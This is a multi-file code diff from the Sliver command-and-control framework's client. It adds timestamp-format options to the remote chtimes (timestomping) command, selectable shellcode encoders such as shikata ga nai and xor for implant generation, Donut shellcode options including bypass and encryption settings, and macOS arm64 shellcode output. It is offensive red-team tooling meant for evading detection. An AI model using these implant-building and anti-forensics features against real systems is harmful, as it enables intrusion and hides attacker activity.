+			if req == nil {
+				return false
+			}
+			req.Timeout = int64(2 * time.Second)
+
+			_, err = con.Rpc.ShellResize(context.Background(), &sliverpb.ShellResizeReq{
+				Request:  req,
+				TunnelID: tunnelID,
+				Rows:     uint32(rows),
+				Cols:     uint32(cols),
+			})
+			if status.Code(err) == codes.Unimplemented {
+				return false
+			}
+			return true
+		}
+
+		if !send() {
+			return
+		}
+
+		for {
+			select {
+			case <-stopCh:
+				return
+			case <-ticker.C:
+				if !send() {
+					return
+				}
+			}
+		}
+	}()
+
+	var once sync.Once
+	return func() {
+		once.Do(func() {
+			close(stopCh)
+			<-doneCh
+		})
+	}
+}

client/command/filesystem/chtimes.go

@@ -19,6 +19,8 @@ package filesystem
 
 import (
 	"context"
+	"fmt"
+	"strconv"
 	"time"
 
 	"github.com/bishopfox/sliver/client/console"
@@ -28,14 +30,77 @@ import (
 	"google.golang.org/protobuf/proto"
 )
 
+const chtimesDefaultLayout = "2006-01-02 15:04:05"
+
+type chtimesTimeFormat struct {
+	name  string
+	parse func(string) (int64, error)
+}
+
+func chtimesParseUnixSeconds(value string) (int64, error) {
+	parsed, err := strconv.ParseInt(value, 10, 64)
+	if err != nil {
+		return 0, err
+	}
+	return parsed, nil
+}
+
+func chtimesParseUnixMillis(value string) (int64, error) {
+	parsed, err := strconv.ParseInt(value, 10, 64)
+	if err != nil {
+		return 0, err
+	}
+	return time.UnixMilli(parsed).Unix(), nil
+}
+
+func chtimesParseLayout(layout string) func(string) (int64, error) {
+	return func(value string) (int64, error) {
+		parsed, err := time.Parse(layout, value)
+		if err != nil {
+			return 0, err
+		}
+		return parsed.Unix(), nil
+	}
+}
+
+func chtimesFormatFromFlags(cmd *cobra.Command) (chtimesTimeFormat, error) {
+	formatFlags := []struct {
+		flag   string
+		format chtimesTimeFormat
+	}{
+		{flag: "unix", format: chtimesTimeFormat{name: "unix", parse: chtimesParseUnixSeconds}},
+		{flag: "unix-ms", format: chtimesTimeFormat{name: "unix-ms", parse: chtimesParseUnixMillis}},
+		{flag: "rfc3339", format: chtimesTimeFormat{name: "rfc3339", parse: chtimesParseLayout(time.RFC3339)}},
+		{flag: "rfc1123", format: chtimesTimeFormat{name: "rfc1123", parse: chtimesParseLayout(time.RFC1123)}},
+	}
+
+	var selected *chtimesTimeFormat
+	selectedFlag := ""
+	for _, candidate := range formatFlags {
+		enabled, _ := cmd.Flags().GetBool(candidate.flag)
+		if !enabled {
+			continue
+		}
+		if selected != nil {
+			return chtimesTimeFormat{}, fmt.Errorf("only one time format flag can be used (--%s and --%s are both set)", selectedFlag, candidate.flag)
+		}
+		selected = &candidate.format
+		selectedFlag = candidate.flag
+	}
+
+	if selected == nil {
+		return chtimesTimeFormat{name: "datetime", parse: chtimesParseLayout(chtimesDefaultLayout)}, nil
+	}
+
+	return *selected, nil
+}
+
 // ChtimesCmd - Change the access and modified time of a file on the remote file system.
 func ChtimesCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
 	session, beacon := con.ActiveTarget.GetInteractive()
 	if session == nil && beacon == nil {
 		return
 	}
-	// DateTime layout (https://pkg.go.dev/time)
-	layout := "2006-01-02 15:04:05"
 	filePath := args[0]
 
 	if filePath == "" {
@@ -43,33 +108,35 @@ func ChtimesCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
 		return
 	}
 
-	atime := args[1]
+	format, err := chtimesFormatFromFlags(cmd)
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
 
+	atime := args[1]
 	if atime == "" {
 		con.PrintErrorf("Missing parameter: Last accessed time id\n")
 		return
 	}
 
-	t_a, err := time.Parse(layout, atime)
+	unixAtime, err := format.parse(atime)
 	if err != nil {
-		con.PrintErrorf("%s\n", err)
+		con.PrintErrorf("Invalid access time (%s): %s\n", format.name, err)
 		return
 	}
-	unixAtime := t_a.Unix()
 
 	mtime := args[2]
-
 	if mtime == "" {
 		con.PrintErrorf("Missing parameter: Last modified time id\n")
 		return
 	}
 
-	t_b, err := time.Parse(layout, mtime)
+	unixMtime, err := format.parse(mtime)
 	if err != nil {
-		con.PrintErrorf("%s\n", err)
+		con.PrintErrorf("Invalid modified time (%s): %s\n", format.name, err)
 		return
 	}
-	unixMtime := t_b.Unix()
 
 	chtimes, err := con.Rpc.Chtimes(context.Background(), &sliverpb.ChtimesReq{
 		Request: con.ActiveTarget.Request(cmd),

client/command/generate/commands.go

@@ -3,6 +3,7 @@ package generate
 import (
 	"github.com/bishopfox/sliver/client/command/flags"
 	"github.com/bishopfox/sliver/client/command/help"
+	shellcodeencoders "github.com/bishopfox/sliver/client/command/shellcode-encoders"
 	"github.com/bishopfox/sliver/client/console"
 	consts "github.com/bishopfox/sliver/client/constants"
 	"github.com/rsteube/carapace"
@@ -142,12 +143,13 @@ func Commands(con *console.SliverClient) []*cobra.Command {
 	}
 	flags.Bind("profiles", false, profilesGenerateCmd, func(f *pflag.FlagSet) {
 		f.StringP("save", "s", "", "directory/file to the binary to")
-		f.BoolP("disable-sgn", "G", false, "disable shikata ga nai shellcode encoder")
+		f.String("shellcode-encoder", "", "shellcode encoder to apply (optional; see `shellcode-encoders`)")
 		f.StringP("name", "n", "", "Implant name")
 
 	})
 	flags.BindFlagCompletions(profilesGenerateCmd, func(comp *carapace.ActionMap) {
 		(*comp)["save"] = carapace.ActionFiles().Tag("directory/file to save implant")
+		(*comp)["shellcode-encoder"] = shellcodeencoders.ShellcodeEncoderNameCompleter(con)
 	})
 	carapace.Gen(profilesGenerateCmd).PositionalCompletion(ProfileNameCompleter(con))
 	profilesCmd.AddCommand(profilesGenerateCmd)
@@ -308,7 +310,7 @@ func coreImplantFlags(name string, cmd *cobra.Command) {
 		f.StringP("debug-file", "O", "", "path to debug output")
 		f.BoolP("evasion", "e", false, "enable evasion features (e.g. overwrite user space hooks)")
 		f.BoolP("skip-symbols", "l", false, "skip symbol obfuscation")
-		f.BoolP("disable-sgn", "G", false, "disable shikata ga nai shellcode encoder")
+		f.String("shellcode-encoder", "", "shellcode encoder to apply (optional; see `shellcode-encoders`)")
 		f.StringP("exports", "v", "StartW,VoidFunc,DllInstall,DllRegisterServer,DllUnregisterServer", "comma separated list of exports to include in the binary")
 		f.StringP("canary", "c", "", "canary domain(s)")
 
@@ -341,7 +343,45 @@ func coreImplantFlags(name string, cmd *cobra.Command) {
 		f.StringP("limit-fileexists", "F", "", "limit execution to hosts with this file in the filesystem")
 		f.StringP("limit-locale", "L", "", "limit execution to hosts that match this locale")
 
-		f.StringP("format", "f", "exe", "Specifies the output formats, valid values are: 'exe', 'shared' (for dynamic libraries), 'service' (see: `psexec` for more info) and 'shellcode' (windows only)")
+		f.StringP("format", "f", "exe", "Specifies the output formats, valid values are: 'exe', 'shared' (for dynamic libraries), 'service' (see: `psexec` for more info) and 'shellcode' (windows and darwin/arm64)")
+
+		// Shellcode generation options:
+		// - Windows: Donut
+		// - macOS: beignet
+		f.Uint32("shellcode-entropy", 1, "Shellcode entropy (Donut: 1=none, 2=random names, 3=random+encrypt) (windows shellcode only)")
+		f.Bool("shellcode-compress", false, "Enable shellcode compression (aPLib) (windows and macOS shellcode)")
+		f.Uint32("shellcode-exitopt", 1, "Shellcode exit option (Donut: 1=exit thread, 2=exit process, 3=block) (windows shellcode only)")
+		f.Uint32("shellcode-bypass", 3, "Shellcode bypass mode (Donut: 1=none, 2=abort, 3=continue) (windows shellcode only)")
+		f.Uint32("shellcode-headers", 1, "Shellcode headers handling (Donut: 1=overwrite, 2=keep) (windows shellcode only)")
+		f.Bool("shellcode-thread", false, "Run unmanaged EXE entrypoint as a new thread (Donut) (windows shellcode only)")
+		f.Bool("shellcode-unicode", false, "Use Unicode command line for unmanaged DLL entrypoints (Donut) (windows shellcode only)")
+		f.Uint32("shellcode-oep", 0, "Override original entry point (OEP) (Donut) (windows shellcode only)")
+
+		// Backwards-compatible deprecated Donut flags (hidden).
+		f.Uint32("donut-entropy", 1, "Deprecated (use --shellcode-entropy)")
+		_ = f.MarkDeprecated("donut-entropy", "use --shellcode-entropy")
+		_ = f.MarkHidden("donut-entropy")
+		f.Bool("donut-compress", false, "Deprecated (use --shellcode-compress)")
+		_ = f.MarkDeprecated("donut-compress", "use --shellcode-compress")
+		_ = f.MarkHidden("donut-compress")
+		f.Uint32("donut-exitopt", 1, "Deprecated (use --shellcode-exitopt)")
+		_ = f.MarkDeprecated("donut-exitopt", "use --shellcode-exitopt")
+		_ = f.MarkHidden("donut-exitopt")
+		f.Uint32("donut-bypass", 3, "Deprecated (use --shellcode-bypass)")
+		_ = f.MarkDeprecated("donut-bypass", "use --shellcode-bypass")
+		_ = f.MarkHidden("donut-bypass")
+		f.Uint32("donut-headers", 1, "Deprecated (use --shellcode-headers)")
+		_ = f.MarkDeprecated("donut-headers", "use --shellcode-headers")
+		_ = f.MarkHidden("donut-headers")
+		f.Bool("donut-thread", false, "Deprecated (use --shellcode-thread)")
+		_ = f.MarkDeprecated("donut-thread", "use --shellcode-thread")
+		_ = f.MarkHidden("donut-thread")
+		f.Bool("donut-unicode", false, "Deprecated (use --shellcode-unicode)")
+		_ = f.MarkDeprecated("donut-unicode", "use --shellcode-unicode")
+		_ = f.MarkHidden("donut-unicode")
+		f.Uint32("donut-oep", 0, "Deprecated (use --shellcode-oep)")
+		_ = f.MarkDeprecated("donut-oep", "use --shellcode-oep")
+		_ = f.MarkHidden("donut-oep")
 	})
 }
 
@@ -354,6 +394,7 @@ func coreImplantFlagCompletions(cmd *cobra.Command, con *console.SliverClient) {
 		(*comp)["strategy"] = carapace.ActionValuesDescribed([]string{"r", "random", "rd", "random domain", "s", "sequential"}...).Tag("C2 strategy")
 		(*comp)["format"] = FormatCompleter()
 		(*comp)["save"] = carapace.ActionFiles().Tag("directory/file to save implant")
+		(*comp)["shellcode-encoder"] = shellcodeencoders.ShellcodeEncoderNameCompleter(con)
 		(*comp)["traffic-encoders"] = TrafficEncodersCompleter(con).UniqueList(",")
 		(*comp)["c2profile"] = HTTPC2Completer(con)
 	})

client/command/generate/generate.go

@@ -28,6 +28,7 @@ import (
 	"os/signal"
 	"path/filepath"
 	"runtime"
+	"sort"
 	"strconv"
 	"strings"
 	"time"
@@ -353,7 +354,6 @@ func parseCompileFlags(cmd *cobra.Command, con *console.SliverClient) (string, *
 	isSharedLib := false
 	isService := false
 	isShellcode := false
-	sgnEnabled := false
 
 	var exports []string
 	exportsArg, _ := cmd.Flags().GetString("exports")
@@ -377,8 +377,6 @@ func parseCompileFlags(cmd *cobra.Command, con *console.SliverClient) (string, *
 	case "shellcode":
 		configFormat = clientpb.OutputFormat_SHELLCODE
 		isShellcode = true
-		sgnEnabled, _ = cmd.Flags().GetBool("disable-sgn")
-		sgnEnabled = !sgnEnabled
 	case "service":
 		configFormat = clientpb.OutputFormat_SERVICE
 		isService = true
@@ -395,9 +393,15 @@ func parseCompileFlags(cmd *cobra.Command, con *console.SliverClient) (string, *
 	if targetOS == "" || targetArch == "" {
 		return "", nil
 	}
-	if configFormat == clientpb.OutputFormat_SHELLCODE && targetOS != "windows" {
-		con.PrintErrorf("Shellcode format is currently only supported on Windows\n")
-		return "", nil
+	if configFormat == clientpb.OutputFormat_SHELLCODE {
+		if targetOS != "windows" && targetOS != "darwin" {
+			con.PrintErrorf("Shellcode format is currently only supported on Windows and macOS\n")
+			return "", nil
+		}
+		if targetOS == "darwin" && targetArch != "arm64" {
+			con.PrintErrorf("macOS shellcode format is only supported on darwin/arm64\n")
+			return "", nil
+		}
 	}
 	if len(namedPipeC2) > 0 && targetOS != "windows" {
 		con.PrintErrorf("Named pipe pivoting can only be used in Windows.")
@@ -409,6 +413,19 @@ func parseCompileFlags(cmd *cobra.Command, con *console.SliverClient) (string, *
 		return "", nil
 	}
 
+	shellcodeConfig, err := parseShellcodeFlags(cmd, targetOS, configFormat, con)
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return "", nil
+	}
+
+	shellcodeEncoder, err := parseShellcodeEncoderFlag(cmd, targetArch, configFormat, con)
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return "", nil
+	}
+	sgnEnabled := shellcodeEncoder == clientpb.ShellcodeEncoder_SHIKATA_GA_NAI // legacy field
+
 	var tunIP net.IP
 	if wg, _ := cmd.Flags().GetString("wg"); wg != "" {
 		uniqueWGIP, err := con.Rpc.GenerateUniqueIP(context.Background(), &commonpb.Empty{})
@@ -446,6 +463,7 @@ func parseCompileFlags(cmd *cobra.Command, con *console.SliverClient) (string, *
 		Debug:            debug,
 		Evasion:          evasion,
 		SGNEnabled:       sgnEnabled,
+		ShellcodeEncoder: shellcodeEncoder,
 		ObfuscateSymbols: symbolObfuscation,
 		C2:               c2s,
 		CanaryDomains:    canaryDomains,
@@ -480,11 +498,264 @@ func parseCompileFlags(cmd *cobra.Command, con *console.SliverClient) (string, *
 
 		DebugFile:        debugFile,
 		HTTPC2ConfigName: c2Profile,
+		ShellcodeConfig:  shellcodeConfig,
 	}
 
 	return name, config
 }
 
+func parseShellcodeFlags(cmd *cobra.Command, targetOS string, configFormat clientpb.OutputFormat, con *console.SliverClient) (*clientpb.ShellcodeConfig, error) {
+	// Prefer the new `--shellcode-*` flags. Fall back to hidden deprecated `--donut-*` flags for compatibility.
+	shellcodeEntropy, _ := cmd.Flags().GetUint32("shellcode-entropy")
+	if !cmd.Flags().Changed("shellcode-entropy") {
+		shellcodeEntropy, _ = cmd.Flags().GetUint32("donut-entropy")
+	}
+
+	shellcodeCompressEnabled, _ := cmd.Flags().GetBool("shellcode-compress")
+	if !cmd.Flags().Changed("shellcode-compress") {
+		shellcodeCompressEnabled, _ = cmd.Flags().GetBool("donut-compress")
+	}
+
+	shellcodeExitOpt, _ := cmd.Flags().GetUint32("shellcode-exitopt")
+	if !cmd.Flags().Changed("shellcode-exitopt") {
+		shellcodeExitOpt, _ = cmd.Flags().GetUint32("donut-exitopt")
+	}
+
+	shellcodeBypass, _ := cmd.Flags().GetUint32("shellcode-bypass")
+	if !cmd.Flags().Changed("shellcode-bypass") {
+		shellcodeBypass, _ = cmd.Flags().GetUint32("donut-bypass")
+	}
+
+	shellcodeHeaders, _ := cmd.Flags().GetUint32("shellcode-headers")
+	if !cmd.Flags().Changed("shellcode-headers") {
+		shellcodeHeaders, _ = cmd.Flags().GetUint32("donut-headers")
+	}
+
+	shellcodeThread, _ := cmd.Flags().GetBool("shellcode-thread")
+	if !cmd.Flags().Changed("shellcode-thread") {
+		shellcodeThread, _ = cmd.Flags().GetBool("donut-thread")
+	}
+
+	shellcodeUnicode, _ := cmd.Flags().GetBool("shellcode-unicode")
+	if !cmd.Flags().Changed("shellcode-unicode") {
+		shellcodeUnicode, _ = cmd.Flags().GetBool("donut-unicode")
+	}
+
+	shellcodeOEP, _ := cmd.Flags().GetUint32("shellcode-oep")
+	if !cmd.Flags().Changed("shellcode-oep") {
+		shellcodeOEP, _ = cmd.Flags().GetUint32("donut-oep")
+	}
+
+	anyChanged := cmd.Flags().Changed("shellcode-entropy") ||
+		cmd.Flags().Changed("shellcode-compress") ||
+		cmd.Flags().Changed("shellcode-exitopt") ||
+		cmd.Flags().Changed("shellcode-bypass") ||
+		cmd.Flags().Changed("shellcode-headers") ||
+		cmd.Flags().Changed("shellcode-thread") ||
+		cmd.Flags().Changed("shellcode-unicode") ||
+		cmd.Flags().Changed("shellcode-oep") ||
+		cmd.Flags().Changed("donut-entropy") ||
+		cmd.Flags().Changed("donut-compress") ||
+		cmd.Flags().Changed("donut-exitopt") ||
+		cmd.Flags().Changed("donut-bypass") ||
+		cmd.Flags().Changed("donut-headers") ||
+		cmd.Flags().Changed("donut-thread") ||
+		cmd.Flags().Changed("donut-unicode") ||
+		cmd.Flags().Changed("donut-oep")
+
+	if configFormat != clientpb.OutputFormat_SHELLCODE {
+		if anyChanged {
+			con.PrintWarnf("Shellcode options only apply when using `--format shellcode`, ignoring.\n")
+		}
+		return nil, nil
+	}
+
+	windowsOnlyChanged := cmd.Flags().Changed("shellcode-entropy") ||
+		cmd.Flags().Changed("shellcode-exitopt") ||
+		cmd.Flags().Changed("shellcode-bypass") ||
+		cmd.Flags().Changed("shellcode-headers") ||
+		cmd.Flags().Changed("shellcode-thread") ||
+		cmd.Flags().Changed("shellcode-unicode") ||
+		cmd.Flags().Changed("shellcode-oep") ||
+		cmd.Flags().Changed("donut-entropy") ||
+		cmd.Flags().Changed("donut-exitopt") ||
+		cmd.Flags().Changed("donut-bypass") ||
+		cmd.Flags().Changed("donut-headers") ||
+		cmd.Flags().Changed("donut-thread") ||
+		cmd.Flags().Changed("donut-unicode") ||
+		cmd.Flags().Changed("donut-oep")
+
+	// macOS shellcode currently only supports compression.
+	if targetOS != "windows" {
+		if targetOS == "darwin" {
+			if windowsOnlyChanged {
+				con.PrintWarnf("Windows-only shellcode options are ignored on macOS shellcode.\n")
+			}
+		} else if anyChanged {
+			con.PrintWarnf("Shellcode options are only supported on Windows and macOS shellcode, ignoring.\n")
+		}
+
+		shellcodeCompress := uint32(1)
+		if shellcodeCompressEnabled {
+			shellcodeCompress = 2
+		}
+		return &clientpb.ShellcodeConfig{
+			Compress: shellcodeCompress,
+		}, nil
+	}
+
+	if shellcodeEntropy < 1 || shellcodeEntropy > 3 {
+		return nil, fmt.Errorf("shellcode-entropy must be between 1 and 3")
+	}
+	if shellcodeExitOpt < 1 || shellcodeExitOpt > 3 {
+		return nil, fmt.Errorf("shellcode-exitopt must be between 1 and 3")
+	}
+	if shellcodeBypass < 1 || shellcodeBypass > 3 {
+		return nil, fmt.Errorf("shellcode-bypass must be between 1 and 3")
+	}
+	if shellcodeHeaders < 1 || shellcodeHeaders > 2 {
+		return nil, fmt.Errorf("shellcode-headers must be 1 or 2")
+	}
+
+	shellcodeCompress := uint32(1)
+	if shellcodeCompressEnabled {
+		shellcodeCompress = 2
+	}
+
+	return &clientpb.ShellcodeConfig{
+		Entropy:  shellcodeEntropy,
+		Compress: shellcodeCompress,
+		ExitOpt:  shellcodeExitOpt,
+		Bypass:   shellcodeBypass,
+		Headers:  shellcodeHeaders,
+		Thread:   shellcodeThread,
+		Unicode:  shellcodeUnicode,
+		OEP:      shellcodeOEP,
+	}, nil
+}
+
+func normalizeShellcodeEncoderName(name string) string {
+	normalized := strings.ToLower(strings.TrimSpace(name))
+	normalized = strings.ReplaceAll(normalized, "-", "_")
+	return normalized
+}
+
+func normalizeShellcodeArch(arch string) string {
+	normalized := strings.ToLower(strings.TrimSpace(arch))
+	switch normalized {
+	case "amd64", "x64", "x86_64":
+		return "amd64"
+	case "386", "x86", "i386":
+		return "386"
+	case "arm64", "aarch64":
+		return "arm64"
+	default:
+		return normalized
+	}
+}
+
+func fetchShellcodeEncoderMap(con *console.SliverClient) (*clientpb.ShellcodeEncoderMap, error) {
+	if con == nil || con.Rpc == nil {
+		return nil, errors.New("no RPC client")
+	}
+	grpcCtx, cancel := con.GrpcContext(nil)
+	defer cancel()
+	return con.Rpc.ShellcodeEncoderMap(grpcCtx, &commonpb.Empty{})
+}
+
+func compatibleShellcodeEncoderNames(encoderMap *clientpb.ShellcodeEncoderMap, arch string) []string {
+	if encoderMap == nil {
+		return nil
+	}
+	arch = normalizeShellcodeArch(arch)
+	archMap := encoderMap.GetEncoders()[arch]
+	if archMap == nil {
+		return nil
+	}
+
+	names := make([]string, 0, len(archMap.GetEncoders()))
+	for name := range archMap.GetEncoders() {
+		names = append(names, name)
+	}
+	sort.Strings(names)
+	return names
+}
+
+func shellcodeEncoderEnumForArch(encoderMap *clientpb.ShellcodeEncoderMap, arch, name string) (clientpb.ShellcodeEncoder, bool) {
+	if encoderMap == nil {
+		return clientpb.ShellcodeEncoder_NONE, false
+	}
+	arch = normalizeShellcodeArch(arch)
+	name = normalizeShellcodeEncoderName(name)
+	archMap := encoderMap.GetEncoders()[arch]
+	if archMap == nil {
+		return clientpb.ShellcodeEncoder_NONE, false
+	}
+	encoder, ok := archMap.GetEncoders()[name]
+	return encoder, ok
+}
+
+func parseShellcodeEncoderFlag(cmd *cobra.Command, targetArch string, configFormat clientpb.OutputFormat, con *console.SliverClient) (clientpb.ShellcodeEncoder, error) {
+	rawEncoder, _ := cmd.Flags().GetString("shellcode-encoder")
+	rawEncoder = strings.TrimSpace(rawEncoder)
+
+	if configFormat != clientpb.OutputFormat_SHELLCODE {
+		if cmd.Flags().Changed("shellcode-encoder") && rawEncoder != "" {
+			con.PrintWarnf("Shellcode encoder only applies when using `--format shellcode`, ignoring.\n")
+		}
+		return clientpb.ShellcodeEncoder_NONE, nil
+	}
+
+	if cmd.Flags().Changed("shellcode-encoder") && rawEncoder == "" {
+		return clientpb.ShellcodeEncoder_NONE, fmt.Errorf("shellcode-encoder cannot be empty; use 'none' to disable encoding")
+	}
+
+	normalized := normalizeShellcodeEncoderName(rawEncoder)
+	if normalized == "none" {
+		return clientpb.ShellcodeEncoder_NONE, nil
+	}
+
+	encoderMap, err := fetchShellcodeEncoderMap(con)
+	if err != nil {
+		return clientpb.ShellcodeEncoder_NONE, err
+	}
+
+	// If no encoder specified, prompt for a compatible encoder (or none).
+	if rawEncoder == "" && !cmd.Flags().Changed("shellcode-encoder") {
+		compatible := compatibleShellcodeEncoderNames(encoderMap, targetArch)
+		if len(compatible) == 0 {
+			// No known compatible encoders for this arch.
+			return clientpb.ShellcodeEncoder_NONE, nil
+		}
+
+		options := append([]string{"none"}, compatible...)
+		choice := "none"
+		if err := forms.Select("Select a shellcode encoder (optional)", options, &choice); err != nil {
+			return clientpb.ShellcodeEncoder_NONE, err
+		}
+		if normalizeShellcodeEncoderName(choice) == "none" {
+			return clientpb.ShellcodeEncoder_NONE, nil
+		}
+
+		encoder, ok := shellcodeEncoderEnumForArch(encoderMap, targetArch, choice)
+		if !ok {
+			return clientpb.ShellcodeEncoder_NONE, fmt.Errorf("unsupported shellcode encoder %q for arch %s", choice, normalizeShellcodeArch(targetArch))
+		}
+		return encoder, nil
+	}
+
+	// Encoder explicitly specified by name.
+	encoder, ok := shellcodeEncoderEnumForArch(encoderMap, targetArch, rawEncoder)
+	if !ok {
+		compatible := compatibleShellcodeEncoderNames(encoderMap, targetArch)
+		if len(compatible) == 0 {
+			return clientpb.ShellcodeEncoder_NONE, fmt.Errorf("no shellcode encoders are available for arch %s", normalizeShellcodeArch(targetArch))
+		}
+		return clientpb.ShellcodeEncoder_NONE, fmt.Errorf("unsupported shellcode encoder %q for arch %s (valid: %s)", rawEncoder, normalizeShellcodeArch(targetArch), strings.Join(compatible, ", "))
+	}
+	return encoder, nil
+}
+
 // parseTrafficEncoderArgs - parses the traffic encoder args and returns a bool indicating if traffic encoders are enabled.
 func parseTrafficEncoderArgs(cmd *cobra.Command, httpC2Enabled bool, con *console.SliverClient) (bool, []*commonpb.File) {
 	trafficEncoders, _ := cmd.Flags().GetString("traffic-encoders")
@@ -963,12 +1234,58 @@ func externalBuild(name string, config *clientpb.ImplantConfig, save string, con
 	}
 	con.PrintInfof("Build name: %s (%d bytes)\n", name, len(generated.File.Data))
 
+	fileData := generated.File.Data
+	if config.IsShellcode {
+		encoder := config.ShellcodeEncoder
+		legacySGN := false
+		if encoder == clientpb.ShellcodeEncoder_NONE && config.SGNEnabled {
+			encoder = clientpb.ShellcodeEncoder_SHIKATA_GA_NAI
+			legacySGN = true
+		}
+		if encoder != clientpb.ShellcodeEncoder_NONE {
+			encoderName := map[clientpb.ShellcodeEncoder]string{
+				clientpb.ShellcodeEncoder_SHIKATA_GA_NAI: "shikata_ga_nai",
+				clientpb.ShellcodeEncoder_XOR:            "xor",
+				clientpb.ShellcodeEncoder_XOR_DYNAMIC:    "xor_dynamic",
+			}[encoder]
+			if encoderName == "" {
+				return nil, fmt.Errorf("unknown shellcode encoder enum %d", int32(encoder))
+			}
+			encoderMap, err := fetchShellcodeEncoderMap(con)
+			if err != nil {
+				return nil, err
+			}
+			if _, ok := shellcodeEncoderEnumForArch(encoderMap, config.GOARCH, encoderName); !ok {
+				msg := fmt.Sprintf("Shellcode encoder %q is not supported for arch %s", encoderName, normalizeShellcodeArch(config.GOARCH))
+				if legacySGN {
+					con.PrintWarnf("%s, skipping.\n", msg)
+				} else {
+					return nil, errors.New(msg)
+				}
+			} else {
+				con.PrintInfof("Encoding shellcode with %s ... ", encoderName)
+				resp, err := con.Rpc.ShellcodeEncoder(context.Background(), &clientpb.ShellcodeEncodeReq{
+					Encoder:      encoder,
+					Architecture: config.GOARCH,
+					Iterations:   1,
+					BadChars:     []byte{},
+					Data:         fileData,
+				})
+				if err != nil {
+					return nil, err
+				}
+				con.Printf("success!\n")
+				fileData = resp.GetData()
+			}
+		}
+	}
+
 	saveTo, err := saveLocation(save, filepath.Base(generated.File.Name), con)
 	if err != nil {
 		return nil, err
 	}
 
-	err = os.WriteFile(saveTo, generated.File.Data, 0o700)
+	err = os.WriteFile(saveTo, fileData, 0o700)
 	if err != nil {
 		con.PrintErrorf("Failed to write to: %s\n", saveTo)
 		return nil, err
@@ -1015,22 +1332,49 @@ func compile(name string, config *clientpb.ImplantConfig, save string, con *cons
 
 	fileData := generated.File.Data
 	if config.IsShellcode {
-		if !config.SGNEnabled {
-			con.PrintErrorf("Shikata ga nai encoder is %sdisabled%s\n", console.Bold, console.Normal)
-		} else {
-			con.PrintInfof("Encoding shellcode with shikata ga nai ... ")
-			resp, err := con.Rpc.ShellcodeEncoder(context.Background(), &clientpb.ShellcodeEncodeReq{
-				Encoder:      clientpb.ShellcodeEncoder_SHIKATA_GA_NAI,
-				Architecture: config.GOARCH,
-				Iterations:   1,
-				BadChars:     []byte{},
-				Data:         fileData,
-			})
-			if err != nil {
-				con.PrintErrorf("%s\n", err)
+		encoder := config.ShellcodeEncoder
+		legacySGN := false
+		if encoder == clientpb.ShellcodeEncoder_NONE && config.SGNEnabled {
+			encoder = clientpb.ShellcodeEncoder_SHIKATA_GA_NAI
+			legacySGN = true
+		}
+		if encoder != clientpb.ShellcodeEncoder_NONE {
+			encoderName := map[clientpb.ShellcodeEncoder]string{
+				clientpb.ShellcodeEncoder_SHIKATA_GA_NAI: "shikata_ga_nai",
+				clientpb.ShellcodeEncoder_XOR:            "xor",
+				clientpb.ShellcodeEncoder_XOR_DYNAMIC:    "xor_dynamic",
+			}[encoder]
+			if encoderName == "" {
+				con.PrintWarnf("Unknown shellcode encoder enum %d, skipping.\n", int32(encoder))
 			} else {
-				con.Printf("success!\n")
-				fileData = resp.GetData()
+				encoderMap, err := fetchShellcodeEncoderMap(con)
+				if err != nil {
+					return nil, err
+				}
+				if _, ok := shellcodeEncoderEnumForArch(encoderMap, config.GOARCH, encoderName); !ok {
+					msg := fmt.Sprintf("Shellcode encoder %q is not supported for arch %s", encoderName, normalizeShellcodeArch(config.GOARCH))
+					if legacySGN {
+						con.PrintWarnf("%s, skipping.\n", msg)
+					} else {
+						con.PrintErrorf("%s\n", msg)
+						return nil, errors.New(msg)
+					}
+				} else {
+					con.PrintInfof("Encoding shellcode with %s ... ", encoderName)
+					resp, err := con.Rpc.ShellcodeEncoder(context.Background(), &clientpb.ShellcodeEncodeReq{
+						Encoder:      encoder,
+						Architecture: config.GOARCH,
+						Iterations:   1,
+						BadChars:     []byte{},
+						Data:         fileData,
+					})
+					if err != nil {
+						con.PrintErrorf("%s\n", err)
+					} else {
+						con.Printf("success!\n")
+						fileData = resp.GetData()
+					}
+				}
 			}
 		}
 	}

client/command/generate/helpers.go

@@ -2,6 +2,7 @@ package generate
 
 import (
 	"context"
+	"errors"
 	"fmt"
 	"strings"
 
@@ -30,19 +31,49 @@ func GetSliverBinary(profile *clientpb.ImplantProfile, con *console.SliverClient
 	}
 	data = generated.GetFile().GetData()
 
-	if profile.Config.Format == clientpb.OutputFormat_SHELLCODE && profile.Config.SGNEnabled {
-		encodeResp, err := con.Rpc.ShellcodeEncoder(context.Background(), &clientpb.ShellcodeEncodeReq{
-			Encoder:      clientpb.ShellcodeEncoder_SHIKATA_GA_NAI,
-			Architecture: profile.Config.GOARCH,
-			Iterations:   1,
-			BadChars:     []byte{},
-			Data:         data,
-		})
-		if err != nil {
-			con.PrintErrorf("Error encoding shellcode")
-			return nil, err
+	if profile.Config.Format == clientpb.OutputFormat_SHELLCODE {
+		encoder := profile.Config.ShellcodeEncoder
+		legacySGN := false
+		if encoder == clientpb.ShellcodeEncoder_NONE && profile.Config.SGNEnabled {
+			encoder = clientpb.ShellcodeEncoder_SHIKATA_GA_NAI
+			legacySGN = true
+		}
+		if encoder != clientpb.ShellcodeEncoder_NONE {
+			encoderName := map[clientpb.ShellcodeEncoder]string{
+				clientpb.ShellcodeEncoder_SHIKATA_GA_NAI: "shikata_ga_nai",
+				clientpb.ShellcodeEncoder_XOR:            "xor",
+				clientpb.ShellcodeEncoder_XOR_DYNAMIC:    "xor_dynamic",
+			}[encoder]
+			if encoderName == "" {
+				return nil, fmt.Errorf("unknown shellcode encoder enum %d", int32(encoder))
+			}
+
+			encoderMap, err := fetchShellcodeEncoderMap(con)
+			if err != nil {
+				return nil, err
+			}
+			if _, ok := shellcodeEncoderEnumForArch(encoderMap, profile.Config.GOARCH, encoderName); !ok {
+				msg := fmt.Sprintf("shellcode encoder %q is not supported for arch %s", encoderName, normalizeShellcodeArch(profile.Config.GOARCH))
+				if legacySGN {
+					con.PrintWarnf("%s, skipping.\n", msg)
+				} else {
+					return nil, errors.New(msg)
+				}
+			} else {
+				encodeResp, err := con.Rpc.ShellcodeEncoder(context.Background(), &clientpb.ShellcodeEncodeReq{
+					Encoder:      encoder,
+					Architecture: profile.Config.GOARCH,
+					Iterations:   1,
+					BadChars:     []byte{},
+					Data:         data,
+				})
+				if err != nil {
+					con.PrintErrorf("Error encoding shellcode")
+					return nil, err
+				}
+				data = encodeResp.Data
+			}
 		}
